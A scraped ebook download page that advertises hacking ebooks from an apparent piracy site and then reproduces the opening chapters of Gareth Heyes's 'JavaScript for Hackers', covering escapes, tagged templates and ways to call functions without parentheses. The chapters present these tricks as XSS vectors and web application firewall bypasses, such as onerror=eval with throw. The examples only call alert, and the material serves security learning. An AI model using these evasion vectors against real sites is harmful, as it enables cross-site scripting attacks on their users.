[go: up one dir, main page]

0% found this document useful (0 votes)
140 views82 pages

(Ebook) Javascript For Hackers by Gareth Heyes

The document provides information on various ebooks related to hacking and programming available for instant download at ebooknice.com. It includes titles such as 'JavaScript for Hackers' by Gareth Heyes and 'Linux Basics for Hackers' by OccupyTheWeb, along with their respective links. Additionally, it highlights the Lean Publishing process used for the publication of these ebooks.

Uploaded by

kdcttingas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
140 views82 pages

(Ebook) Javascript For Hackers by Gareth Heyes

The document provides information on various ebooks related to hacking and programming available for instant download at ebooknice.com. It includes titles such as 'JavaScript for Hackers' by Gareth Heyes and 'Linux Basics for Hackers' by OccupyTheWeb, along with their respective links. Additionally, it highlights the Lean Publishing process used for the publication of these ebooks.

Uploaded by

kdcttingas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 82

Instant Ebook Access, One Click Away – Begin at ebooknice.

com

(Ebook) JavaScript for hackers by Gareth Heyes

https://ebooknice.com/product/javascript-for-
hackers-51786952

OR CLICK BUTTON

DOWLOAD EBOOK

Get Instant Ebook Downloads – Browse at https://ebooknice.com


Instant digital products (PDF, ePub, MOBI) ready for you
Download now and discover formats that fit your needs...

Start reading on any device today!

(Ebook) Web Application Obfuscation: '- WAFs..Evasion..Filters alert( Obfuscation


)-' by Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay ISBN
9781597496049, 1597496049

https://ebooknice.com/product/web-application-obfuscation-wafs-evasion-filters-
alert-obfuscation-2509350

ebooknice.com

(Ebook) Servers for Hackers: Server Administration for Programmers by Chris Fidao

https://ebooknice.com/product/servers-for-hackers-server-administration-for-
programmers-22446142

ebooknice.com

(Ebook) Servers for Hackers: Server Administration for Programmers by Chris Fidao

https://ebooknice.com/product/servers-for-hackers-server-administration-for-
programmers-22506570

ebooknice.com

(Ebook) Linux Basics for Hackers by OccupyTheWeb ISBN 9781593278557, 1593278551

https://ebooknice.com/product/linux-basics-for-hackers-7306878

ebooknice.com
(Ebook) Network Basics for Hackers by OccupyTheWeb ISBN 9798373290043, 8373290044

https://ebooknice.com/product/network-basics-for-hackers-50445114

ebooknice.com

(Ebook) Essential Skills for Hackers by Cardwell, Kevin; Dalziel, Henry ISBN
9780128047552, 0128047550

https://ebooknice.com/product/essential-skills-for-hackers-5433130

ebooknice.com

(Ebook) Machine Learning for Hackers by Drew Conway, John Myles White ISBN
9781449303716, 1449303714

https://ebooknice.com/product/machine-learning-for-hackers-2542632

ebooknice.com

(Ebook) Black hat Python : Python programming for hackers and pentesters by Seitz,
Justin ISBN 9781593275907, 1593275900

https://ebooknice.com/product/black-hat-python-python-programming-for-hackers-
and-pentesters-6853868

ebooknice.com

(Ebook) iOS Application Security: The Definitive Guide for Hackers and Developers by
David Thiel ISBN 9781593276010, 159327601X

https://ebooknice.com/product/ios-application-security-the-definitive-guide-for-
hackers-and-developers-5499142

ebooknice.com
JavaScript for hackers
Learn to think like a hacker

Gareth Heyes
This book is for sale at http://leanpub.com/javascriptforhackers

This version was published on 2023-01-16

This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing
process. Lean Publishing is the act of publishing an in-progress ebook using lightweight tools and
many iterations to get reader feedback, pivot until you have the right book and build traction once
you do.

© 2023 Gareth Heyes

Tweet This Book!


Please help Gareth Heyes by spreading the word about this book on Twitter!
The suggested tweet for this book is:
I’ve just bought #javascriptforhackers by @garethheyes
The suggested hashtag for this book is #javascriptforhackers.
Find out what other people are saying about the book by clicking on this link to search for this
hashtag on Twitter:
#javascriptforhackers
To my family for without them I am nothing. I couldn’t have done this without the love and support
of my family.
Contents

Chapter one - Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1


Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Set a goal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Persistence and luck . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Social media . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
The basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

Chapter two - JavaScript without parentheses . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10


Calling functions without parentheses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Calling functions with arguments without parentheses . . . . . . . . . . . . . . . . . . . . . . . 11
Throw expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Tagged templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Has instance symbol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Chapter three - Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18


The truth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Fuzzing JavaScript URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Fuzzing HTTP URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Fuzzing HTML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Fuzzing known behaviours . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Fuzzing escapes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

Chapter four - DOM for hackers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28


Where’s my window? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Scope of a HTML event . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
DOM clobbering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

Chapter five - Browser exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37


Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Firefox incorrect handling of cross origin URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
CONTENTS

Safari assignments to cross origin hostnames . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38


Internet Explorer full SOP bypass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Chrome partial SOP infoleak . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Safari full SOP bypass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Opera SOP bypass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

Chapter six - Prototype pollution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44


Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
Client-side prototype pollution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Server-side prototype pollution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

Chapter seven - Non-alphanumeric JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51


Writing non-alphanumeric JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Non-alpha without parentheses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
The six character wall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Infinity and beyond . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

Chapter eight - XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63


Closing scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
Comments inside scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
HTML entities inside SVG script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
Script without closing script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
Window name payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Assignable protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Source maps to create pingbacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
New redirection sink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
JavaScript comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
New lines . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Whitespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Dynamic imports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
XHTML namespace in XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
SVG uploads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
SVG use elements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
HTML entities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
Events . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74

Credits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Chapter one - Introduction
JavaScript has always been my passion, I’m fascinated by ways to help me understand JS further.
You can often see me tweeting about ways to call functions without parentheses, insane XSS vectors
and general ways to find deeper ways of understanding a particular feature. I’m often asked how
a tweet can be used to apply to a WAF bypass or browser exploit. For me this isn’t important, sure
you could use ways to call JavaScript functions without parentheses to bypass WAFs but the point
of my tweets is often to rapidly gain knowledge that could be applied later.
One such example is [].sort, sort accepts a function and I found that you could abuse that to call the
alert function indirectly which I will talk about later. What I’m trying to do is hack my brain to make
these vectors important enough for me to remember, you’ll see me posting variants of a particular
technique and it certainly helps that I find enjoyment out of finding these techniques. How often
have you found yourself reading a book or particular article for it not to sink in? By looking for ways
to hack JavaScript you are learning about a feature and then applying that knowledge to achieve a
goal, it doesn’t matter what that goal is as long as you’ve got a target it will help you remember.
These sort of techniques can apply to anything really and it’s pretty much common sense really, if
you look at sport as an example you won’t get better at something just by reading about it, you have
to apply that knowledge and practice and train by actually doing the sport. JS hacking is a lot like
this, there is no way in your day to day job you’ll use every feature JS has but if you try and hack
it you can choose the feature to learn about. This is really my philosophy and is exactly what this
book is about. I’m going to try and teach you how to follow it and learn at a rapid pace but enjoy
what you are doing.

Environment
In order to follow this process you need a rapid environment to conduct your tests. What it means
is you need something that you can execute your code and instantly get the results. This can be a
multitude of things, a browser console, local web server or a web app such as JS Fiddle. Personally I
decided to write my own web app called “Hackvertor”, giving it the ability to evaluate code, inspect
objects, write HTML but other options are fine too. I just wanted more power and to make sure my
input isn’t being logged somewhere. Your environment needs to be able to evaluate JavaScript and
return the results at the bare minimum.

Set a goal
Once you’ve got your chosen environment set up the next step is to set a goal. If you have no goal you
can be staring at a blank page not getting anywhere. A goal enables you to make sure you’re always
Chapter one - Introduction 2

trying something and it can be flexible too. For instance one of my goals was “execute JavaScript
without parentheses”. If you’ve set a good goal it will almost likely never end and good ones also
mutate into another goal for example the goal I mentioned earlier mutated into “execute JavaScript
functions without parentheses and pass arguments”. Now you can see how these two goals are useful
because now you have a clear idea what you have to do and you can abuse JavaScript features to
achieve that goal. In the example above the second goal is more challenging than the first but the
second goal enables you to gain knowledge to achieve the more difficult goal.

Fuzzing
Fuzzing is one of the most important tools in a JavaScript hackers toolbox, it enables you to answer
questions really fast and discover new things by getting the computer to report the results. Fuzzing is
simply writing code that enumerates characters, code or data in order to find interesting behaviour.
In binary exploitation you’d use a fuzzer to find DoS or an exploitable crash but when JavaScript
hacking the idea is to achieve your goal by getting answers to questions. For example I set myself a
goal to understand what characters are allowed as whitespace, you might be wondering to yourself
why not simply look at the specification? You should not use the specification as your only source of
information when trying to discover browser behaviour because browsers sometimes do not follow
the specification, this can be because they make a mistake or simply choose not to for various reasons
like backward compatibility.
Using fuzzing is an important tool to find these interesting edge cases. You might wonder why these
edge cases are important, in the whitespaces example I gave I was writing a JavaScript parser and
sandbox and whitespace turns out to be pretty significant when trying to parse JavaScript and could
lead to a sandbox bypass. By ensuring I handled whitespace correctly according to what the browser
does I could ensure my sandbox was more secure. Later in the book I’ll show you how to use fuzzing
to answer questions and discover interesting behaviour.

Persistence and luck


JavaScript hacking is very much like web security research in the fact that it takes a lot of persistence
and lots of luck to find interesting behaviour. Sure knowledge is important but persistence enables
you to expand your knowledge and get lucky. If you are just starting out learning JavaScript and
don’t have much knowledge, following the principles of this book can help you gain knowledge
rapidly provided you have a lot of persistence. If you find yourself staring at a blank screen without
any ideas what to do, try a new goal or simplify your goal so you can keep moving. Don’t be afraid
to try things that you think might not work and if you’re persistent your time won’t be wasted
because you learn little things on the way to finding interesting stuff. Remember persistence doesn’t
just mean sticking at the same thing all the time, you can come back to something months later and
try different techniques.
Chapter one - Introduction 3

Social media
I use Twitter a lot when I hack JS hacking. It’s useful because you can get instant feedback on your
technique both positive and negative. As you build followers you’ll find other people who enjoy
the same thing and you’ll find that they point out a variant or something you’ve overlooked. This
is great because not only are you learning but everyone who sees the conversion is learning too.
Imagine if everyone took this approach, everyone would learn at a rapid pace and we’d find some
really interesting JavaScript behaviour. When I tweet something it also sticks in my head and if I
forget I can always search Twitter or download my tweets to find the particular technique. One
important thing though is that Twitter is not good for long term storage of data, if you’ve found
something you’re particularly proud of you are better off writing a blog post and then tweeting a
link to it.

The basics
In this section I’ll go over the basics of JavaScript hacking to give you the foundation to handle the
other chapters. If you’re an experienced developer or JS hacker please feel free to skip this section.
If you want to learn more about JavaScript then please stick with me. JavaScript supports various
types of encoding, you have hexadecimal, octal and two flavours of unicode encoding.

Hexadecimal
First up we’ll tackle hexadecimal encoding, this works only within strings, if you try and use them
as identifiers then they will fail. Hex uses a base of 16 and the escape is prefixed with an “x”. Here
are some examples:

1 '\x61'//a
2 "\x61"//a
3 `\x61`//a
4
5 function a(){}
6 \x61()//fails

In the examples above you can see the first three work correctly inside strings but the last example
fails to call the function because hex escapes aren’t allowed there. Another interesting aspect is that
hex escapes have to use a lowercase “x”, if you use an uppercase “X” then it won’t be treated as a
hex escape and the JavaScript engine will simply process the string as a literal X followed by the
characters you specify.
Chapter one - Introduction 4

Unicode
Unicode escapes also work in strings but are also allowed in identifiers. There are two forms of
unicode escapes “\u” and \u{}. The former allows you to produce a character within the range 0x00-
FFFF whereas the latter allows you to specify the entire range of unicode code points. Here are some
examples of unicode escapes:

1 '\u0061'//a
2 "\u0061"//a
3 `\u0061`//a
4
5 function a(){}
6 \u0061()//correctly calls the function

The code above will all execute perfectly fine, each string allows unicode escapes and the function
will be called correctly. Some important points about this form of unicode escapes is you must
specify four hexadecimal characters for example \u61 is not allowed, most browsers will throw an
exception; There were some browsers that allowed invalid unicode escapes such as \u61 but this
was a browser bug. You cannot encode parentheses or other characters only identifiers outside of
strings. Next up is another type of unicode escape that allows you to specify unicode code points for
the entire unicode range, they have similar characteristics as standard unicode escapes in that you
can use them in strings and identifiers but unlike standard unicode escapes you are not restricted to
four hexadecimal characters. To use these unicode escapes you use \u{} inside the curly braces you
specify a hex unicode code point. The following examples will work fine with this type of unicode
escape:

1 '\u{61}'//a
2 "\u{000000000061}"//a
3 `\u{0061}`//a
4
5 function a(){}
6 \u{61}()//correctly calls the function
7
8 \u{3134a}=123//unicode character "3134a" is allowed as a variable

As the code demonstrates above an unlimited amount of zero padding and the exclusion of zeros
will be allowed. You can specify higher unicode characters as the last example shows. Those are the
main differences between the two unicode escapes.

Octal
Octal escapes use base 8 and can only be used strings. There is no prefix with octal escapes; you
simply use a backslash followed by a base 8 number. If you try to use a number outside the octal
range the JavaScript engine will just return the number:
Chapter one - Introduction 5

1 '\141'//a
2 "\8"//number outside the octal range so 8 is returned

Octal escapes aren’t allowed in template strings.

Eval and escapes


Now you know the different escapes that are available you can use them with eval or other forms of
eval like setTimeout. When using them with these functions you have to double escape them or even
more if they are nested! Because eval works with strings it will attempt to decode the input passed
to it, so when the JavaScript is actually executed the engine sees the decode string, this allows us
to break some of the rules defined earlier. For example, remember that hex can only be used with
strings? Well, if you use eval the hex will be decoded first and then executed which means the
following is perfectly valid:

1 eval('\x61=123')//a = 123

You can do the same with unicode escapes but because they are allowed in identifiers you can double
encode them:

1 eval('\\u0061=123')
2 //\u0061 = 123
3 //a = 123

As the above example shows you can escape the backslash inside the string which produces a unicode
escape which is then used as an identifier. The unicode escape effectively translates to a=123. You
aren’t limited to escaping the backslash either; you can escape any part of the escape when using
eval and can of course mix and match the encodings. This is quite difficult to illustrate without being
overly complex and confusing. So I’ll demonstrate in parts:

1 eval('\\u0061=123')//unicode escape using "a" assignment


2 eval('\\u\x30061=123')//hex encode the first zero
3 eval('\\u\x300\661=123')//octal encode the 6

Strings
There are three forms of strings, you have single quoted, double quoted and template strings. As
mentioned in the escapes section you can use various types of encoding within all the types of
strings. In addition you can use single character escape sequences:
Chapter one - Introduction 6

1 '\b'//backspace
2 '\f'//form feed
3 '\n'//new line
4 '\r'//carriage return
5 '\t'//tab
6 '\v'//vertical tab
7 '\0'//null
8 '\''//single quote
9 '\"'//double quote
10 '\\'//backslash

You can also escape any character that isn’t part of an escape sequence and they are treated as the
actual character for example:

1 "\H\E\L\L\O"//HELLO

Interestingly you can use a backslash at the end of line to continue it onto the next line:

1 'I continue \
2 onto the next line'

This behaviour also works with object property names:

1 let foo = {
2 'bar\
3 ': "baz"
4 };

Double and single quoted strings do not support multiple lines unless you use \ to continue to the
next line, template strings however support multiple lines and the continuation behaviour. This can
be proved with the following code:

1 x = `a\
2 b\
3 c`;
4 x==='abc'//true
5
6 x = `a
7 b
8 c`;
9 x==='abc//false
Chapter one - Introduction 7

So as you can see above the first code snippet proves the continuation behaviour exists in template
strings since the new lines aren’t added to the string. The second snippet shows template strings
supporting new lines and they are included within the string. Template strings have a feature that
allows you to execute arbitrary JavaScript expressions within placeholders, they are define using ${},
your expression goes inside the curly braces:

1 `${7*7}`//49

Surprisingly any JavaScript expression is supported within the placeholders including templating
string! Which means you can nest template strings within template strings, this leads to bizarre
looking JavaScript that is perfectly valid:

1 `${`${`${`${7*7}`}`}`}`//49

Imagine trying to write a parser for that! I admire V8, JavaScript Core and Spidermonkey because
JavaScript is so complex nowadays it takes some clever parsing to get it right. Anyway you can
call functions too using what’s called tagged template strings. You simply specify the function or
expression that returns a function to call and use backticks after it to call that function:

1 alert`1337`//calls the alert function with the argument 1337

As mentioned it supports an expression too, so again you can have bizarre looking JavaScript that
calls multiple functions. Let’s crank it up a notch and demonstrate this. If you have a function that
returns itself you can have an unlimited amount of backticks:

1 function x(){return x}
2 x````````````

It looks like an error but the above will execute in any JavaScript engine that supports tagged
template strings. The function is called once and because it returns itself another template string
is allowed because it’s a function and so on.

Call and apply


Call is a property of every function that allows you to call it and change the “this value” of the
function in the first argument and any subsequent arguments are passed to that function. For
example:
Chapter one - Introduction 8

1 function x(){
2 console.log(this.bar);//baz
3 }
4 let foo={bar:"baz"}
5 x.call(foo);

In the above example we use the object “foo” as the “this” value for the function “x” and pass it to
the call function, the “x” function uses this which now refers to our foo object and the bar property
returns “baz”. When the “x” function is called there are no arguments, if you would like to pass
arguments to the function then you simply add them to the call function like so:

1 function x() {
2 console.log(arguments[0]);//1
3 console.log(arguments[1]);//2
4 console.log(this);//[object Window]
5 }
6 x.call(null, 1, 2)

If you don’t supply a “this” value to the call function it will use the window object if not in strict
mode because we used null in the first argument to the call function “this” will default to the window
object as we are not in strict mode. If you use the “use strict” directive “this” will be null instead of
window:

1 function x() {
2 "use strict";
3 console.log(arguments[0]);//1
4 console.log(arguments[1]);//2
5 console.log(this);//null
6 }
7 x.call(null, 1, 2)

The apply function is pretty much exactly the same as the call function with one important difference,
you can supply an array of arguments in the second argument:

1 function x() {
2 console.log(arguments[0]);//1
3 console.log(arguments[1]);//2
4 console.log(this);//[object Window]
5 }
6 x.apply(null, [1, 2])
Chapter one - Introduction 9

Summary
In this chapter we’ve had a gentle introduction to the core concepts of the book and learnt various
useful JavaScript features that we can use later to create interesting vectors. We’ve also learnt my
approach to JavaScript hacking and how to apply this to help you learn at a more rapid pace. Next
we will continue our journey into JavaScript and set our own goal for the chapter to learn some new
techniques!
Chapter two - JavaScript without
parentheses
Calling functions without parentheses
One of my favorite goals is the title of this chapter because there is so much depth with it. You can
create multiple sub-goals with it and it will help you understand JavaScript features quickly. I think
my first attempt with executing JS without parentheses was tinkering with the valueOf method. You
can use valueOf when you want a particular object to return a primitive value such as a number.
Generally you’d use it with an object literal to make your object interact with other primitives to
perhaps perform addition or subtraction:

1 let obj = {valueOf(){return 1}};


2 obj+1//2

This is interesting because valueOf allows you to define a function that gets called when the object
is used as a primitive. So we can just use the alert function instead of a custom function and that
will be called instead right? Well it’s not as easy as that, let’s try it and see what happens:

1 let obj = {valueOf:alert};


2 obj+1//Illegal invocation

We define alert as the function to call with valueOf, the object is used with the addition operator
that calls the valueOf method, valueOf is assigned to the alert function but when attempting to call
alert the JavaScript engine will throw an “illegal invocation” error. This is because the alert function
requires the “this” to be a window object. When our alert function is called the “this” object will be
our custom object called obj that is why an exception is thrown. Most objects in JavaScript inherit
from the Object prototype and valueOf is actually defined in the Object prototype, this means we
don’t need to use a custom object; we can use an existing object since pretty much every object
has valueOf functionality! Can you see where this is going? The window object itself has a valueOf
method and we can overwrite that:

1 window.valueOf=alert;window+1//calls alert()

This time the alert call is successful and this is because we changed the windows valueOf method
and when valueOf is called the “this” object will be window and the illegal invocation error will
Chapter two - JavaScript without parentheses 11

not be thrown. You might have noticed that the above can be shortened because you don’t need to
specify “window.”, this is because it is implied that the window object is used so you can actually
remove “window.” and valueOf will still use the window object. I included it above for clarity but
this works at the time of writing:

1 valueOf=alert;window+1//calls alert())

You can also use toString in the same way as valueOf:

1 toString=alert;window+''

This is a great area to explore since there may be other ways of calling functions.

Calling functions with arguments without parentheses


Now we can expand our goal a bit, rather than just calling a function we can try to call the function
and pass arguments all without any parentheses. I had a moment of inspiration once whilst hacking
JS, I thought about the exception handler and how you can provide your own function. In case you
don’t know the window object has a global handler called onerror, when you provide a handler your
function will get all the exceptions from the page. This handler gets called with the message in the
first argument, the URL in the second, line number in the third, column number in the forth and
finally the error object in the last argument. The message argument is what interests me because if
we can influence it then the handler will get called with a string in the first argument. You might
be wondering how to call the handler with an argument you choose, we could set the handler and
then cause a JavaScript exception of course! You could do this by generating some invalid code or
you could use the throw statement.
The throw statement allows you to create a new exception and provide your own error message, this
can be a JavaScript expression which will be important later. If you’re a JavaScript developer you’ll
probably be aware of it and it’s quite common to see code like this:

1 throw new Error('Some exception');

As mentioned the throw statement accepts an expression and it doesn’t necessarily need to be an
object, you can throw a string and this gets passed to the error handler. So to call a function with
arguments we need to set the handler and throw a string like so:

1 onerror=alert;throw 'foo'

Which results in Chrome at least an alert box with “Uncaught foo”. You might be thinking how can
we execute arbitrary code? If you replace “alert” with “eval” then when the exception is thrown it
will get evaluated as code. But that leaves us with the unfortunate “Uncaught” with a space. To get
round that we can simply inject an equals to make the “Uncaught” become a variable assignment
and therefore be valid JavaScript:
Chapter two - JavaScript without parentheses 12

1 onerror=eval;
2 throw"=alert\x281\x29";

One thing to note is that the throw statement is a statement which means it can’t be used as an
expression, you can’t for instance use it in a function call:

1 alert(throw'test');//This will fail

This means you have to be aware where you use it and if you want to bypass a WAF (Web Application
Firewall) you need to know what characters you can use. Let’s set a small sub-goal here, how can
we use the throw statement to call arbitrary JavaScript without using semicolons? JavaScript has
block statements; they weren’t widely used because “var” wasn’t block scoped but the introduction
of “let” allows block scoping. So maybe they’ll catch on. When using a block statement you don’t
have to include semicolons after the block this easily gets around that semicolon restriction:

1 {onerror=eval}throw"=alert\x281337\x29"

Another way to get round the character restriction is to use JavaScript’s ASI (automatic semicolon
insertion), you can use new lines instead of the semicolons and JavaScript will insert them for you
automatically:

1 onerror=alert
2 throw 1337

JavaScript supports paragraph and line separators for new lines too which are super useful for
bypassing a WAF since “onerror=” is likely going to be blocked but the regexes often overlooked
the alternative characters. I’ll use eval to illustrate this since the characters won’t print very well:

1 eval("onerror=\u2028alert\u2029throw 1337");

The unicode escape \u2029 represents the paragraph separator and \u2028 represents the line
separator. Both act as new lines and wherever you can put a new line you can use these characters.

Throw expressions
One interesting thing about the throw statement is that you can use an expression and the right
most part of it is going to be sent to the exception handler. If you are not sure on what I mean let’s
look at the comma operator. The comma operator evaluates the expression from left to right and
returns the last operand. For instance let’s assign a value to “foo” and use the comma operator:
Chapter two - JavaScript without parentheses 13

1 let foo = ('bar', 'baz');

The value of foo will be, can you guess it? Baz. This is because the comma operator returns the
last part of the expression. When using the throw statement it accepts a JavaScript expression and
therefore the comma operator works just fine here. Therefore you can abuse this functionality to
reduce the amount of characters you use and create some surprising JavaScript:

1 throw onerror=alert,1337

The above code uses the throw statement and assigns the onerror handler, the comma operator is
then used and the result of the expression “1337” is passed to the exception handler which results in
alert being called with “Uncaught 1337”. Any number of operands can be used as long as it’s part of
the same expression and the final operand will always be passed to the exception handler:

1 throw onerror=alert,1,2,3,4,5,6,7,8,9,10//Uncaught 10

Another feature in JavaScript is optional exception variables inside a catch clause. This allows us to
use try catch blocks without parentheses and simply throw the exception again to call the exception
handler:

1 try{throw onerror=alert}catch{throw 1337}

Tagged templates
Tagged template strings offer many ways to call functions without parentheses. As mentioned in
the strings section in chapter one, you can use template strings to call functions:

1 alert`1337`

The above calls “alert” with “1337”, template strings also support placeholders that can embed
JavaScript expressions. Placeholders can be defined with ${} and even support nested template
strings:

1 `${alert(1337)}`
2 `${`${alert(1337)}`}`

When using tagged template strings an array of strings is passed as the first argument to the function,
if there are no placeholders this will be one string however if there are placeholders the strings will
be separated:
Chapter two - JavaScript without parentheses 14

1 alert`foobar`//foobar
2 alert`foo${1}bar`//foo,bar

We can use this functionality to evaluate code but when using eval the code won’t be executed:

1 eval`alert\x281337\x29`//alert will not be called

Can you guess the reason for this? It’s because the eval function will simply return an array and
not convert the argument sent to it to a string. If you use an alternative function such as setTimeout
that does convert the argument into a string then this will work just fine:

1 setTimeout`alert\x281337\x29`//alert(1337) called

There are more to tagged templates, if you use a placeholder that evaluates to a string then this
won’t be added to the array of strings in the first argument but will actually be used as the second
argument and so on:

1 function x(){
2 console.log(arguments);//Arguments(4) [Array(4), 'foo', 'bar', 'baz',...
3 }
4
5 x`${'foo'}${'bar'}${'baz'}`

You can abuse this functionality to call the Function constructor with arbitrary JavaScript. There are
a couple of things to be aware of before. The Function constructor accepts multiple arguments but
if you provide one argument this will be used as the body of the function, if you provide more than
one the last argument will be used as the body of the function. This means we could use the array
of strings in the first argument which will be converted to a string and specifies an argument for the
function being constructed and the last argument will use the result of the placeholder expression:

1 Function`x${'alert\x281337\x29'}`//generates a function

If you evaluate the above you’ll notice it generates an anonymous function with “x” as an argument
and a function body but it won’t execute. We need to call the function in order for it to execute, as
we learned in chapter one we can use any expression in a tagged template. So to call our generated
function we just need to add “ at the end of our expression:

1 Function`x${'alert\x281337\x29'}```//generates and calls the function


Chapter two - JavaScript without parentheses 15

What’s interesting about the placeholder expressions is they are separated from strings as another
argument as we’ve observed. But not only that their type is retained too so we can pass an array
of strings as the first argument and any type in the second argument and so on. This can produce
some wacky looking JavaScript that is perfectly valid.
Let’s try and abuse this functionality, first with setTimeout. You can use 3 arguments with
setTimeout, the first is a string or function to call, the second is the number of milliseconds to call
the function after and the third is the arguments to send to the function provided the first argument
is a function not a string. Combining all this knowledge you might think the following will work:

1 setTimeout`${alert}${0}${1337}`//doesn't work

The reason this fails is because a blank array of strings is sent as the first argument and not our alert
function! We’ll have to find a different way of executing arbitrary JavaScript, in chapter one we
learnt about apply and call, we could use call here to assign the array of strings to the “this” value
of the function and that would mean the first placeholder would be used as the first argument to
the setTimeout function. Let’s try it and see what happens:

